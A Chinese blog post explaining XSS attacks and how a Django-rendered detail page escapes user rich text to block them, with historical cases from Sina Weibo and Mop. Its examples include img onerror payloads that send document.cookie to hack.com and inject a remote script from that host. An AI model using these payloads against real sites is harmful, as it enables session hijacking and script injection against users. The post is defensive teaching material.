Web如何防止XSS攻击

快乐动起来

什么是XSS

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

文章很多图片都失效了,建议大家听免费XSS视频课程,PC访问:https://www.imooc.com/learn/812

手记扫码学习:

图片描述

XSS的原理

恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的 (html代码/javascript代码) 会被执行,从而达到恶意攻击用户的特殊目的。

XSS危害实例

  • 微博
    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击。此事件给严重依赖社交网络的网友们敲响了警钟。在此之前,国内多家著名的SNS网站和大型博客网站都曾遭遇过类似的攻击事件,只不过没有形成如此大规模传播。虽然此次XSS蠕虫攻击事件中,恶意黑客攻击者并没有在恶意脚本中植入挂马代码或其他窃取用户账号密码信息的脚本,但是这至少说明,病毒木马等黑色产业已经将眼光投放到这个尚存漏洞的领域。
  • 猫扑

曾经在猫扑大杂烩中存在这样一个XSS漏洞,在用户发表回复的时候,程序对用户发表的内容做了严格的过滤,但是我不知道为什么,当用户编辑回复内容再次发表的时候,他却采用了另外一种不同的过滤方式,而这种过滤方式显然是不严密的,因此导致了XSS漏洞的出现。试想一下,像猫扑这样的大型社区,如果在一篇热帖中,利用XSS漏洞来使所有的浏览这篇帖子的用户都在不知不觉之中访问到了另外一个站点,如果这个站点同样是大型站点还好,但如果是中小型站点那就悲剧了,这将会引来多大的流量啊!更可怕的是,这些流量全部都是真实有效的!

详情页XSS防护措施

  • 业务描述

    详情页都有需求展示来自用户输入的富文本即HTML内容。

    【展现1】

    【展现2】

  • 历史方法

    转义可以在客户端完成也可以在服务端完成,反转义通过Django的safe过滤器实现。

  • 潜在问题

    熟悉DOM的工作原理的同学肯定知道,如果在DOM中插入其他HTML内容会有潜在的安全问题,比如修改css、引入js等可以有权限操作页面的内容。

    【实例1】

    <p>这里显示摘要内容,用户可以输入各种文本及图片</p>
    <style>
        body{
            display:none!important;
        }
    </style>

    如果用户输入的是这块内容通过传统的操作方式,最后用户看不到这个页面的任何内容,只能是一个空白页。

    【实例2】

    <p>
        这里显示摘要内容,用户可以输入各种文本及图片
        <img style="display:none" src="null" onerror="a=function(ajax({url:'//hack.com/utm.gif',data:{c:document.cookie}}));a();"
    </p>

    如果用户输入的是上述内容,当前用户的cookie就被悄悄的发送给hack.com了,而且当前用户无任何感知。你懂得!

    【实例3】

    <p>
        这里显示摘要内容,用户可以输入各种文本及图片
        <img style="display:none" src="null" onerror="js=document.createElement('script');js.type='text/javascript';js.src='//hack.com/attack.js';document.body.appendChild(js);"
    </p>

    如果用户输入的是上述内容,那么恭喜你,所有用户都被植入了这个脚本,相当于这个脚本可以操作任何他想要的东西。

    【实例4】

    <div>
        <div>这里显示摘要内容,用户可以输入各种文本及图片
    </div>

    如果用户输入是上述内容,发现用户看到的页面已经乱掉了。因为div标签没有闭合。

  • 解决方案

    • 目标
过滤任何有执行能力的脚本或者影响页面的CSS,保证页面的安全。
- 方法
![](http://p1.bpimg.com/567571/68bb369accc2edb3.png)
    
通过这样的处理,任何script语句、style样式等额外威胁都会当做文本处理,在一定程度上能纠正DOM配对不完整导致页面乱掉的症状。当用户看到这样的情况可以反馈,及时封堵恶意作者的攻击。

    

阅读 8.8k

铁狮子
在积累中沉淀,在学习中总结,在探索中尝试,只为做到专业

喜欢不断挑战的前端实践者

1.7k 声望
525 粉丝
0 条评论

喜欢不断挑战的前端实践者

1.7k 声望
525 粉丝
文章目录
宣传栏